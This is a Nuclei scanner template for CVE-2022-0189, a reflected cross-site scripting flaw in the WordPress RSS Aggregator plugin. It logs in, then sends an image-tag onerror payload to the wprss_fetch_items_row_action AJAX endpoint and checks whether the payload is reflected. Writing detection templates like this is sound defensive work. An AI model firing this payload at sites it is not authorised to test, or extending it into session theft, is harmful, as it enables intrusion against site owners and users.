WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting

id: CVE-2022-0189

info:
  name: WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.
  impact: |
    An attacker with authenticated access can inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress RSS Aggregator plugin to version 4.20 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189
    - https://plugins.trac.wordpress.org/changeset/2659298
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0189
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:wprssaggregator:wp_rss_aggregator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wprssaggregator
    product: wp_rss_aggregator
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,authenticated,wprssaggregator

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(`document.domain`)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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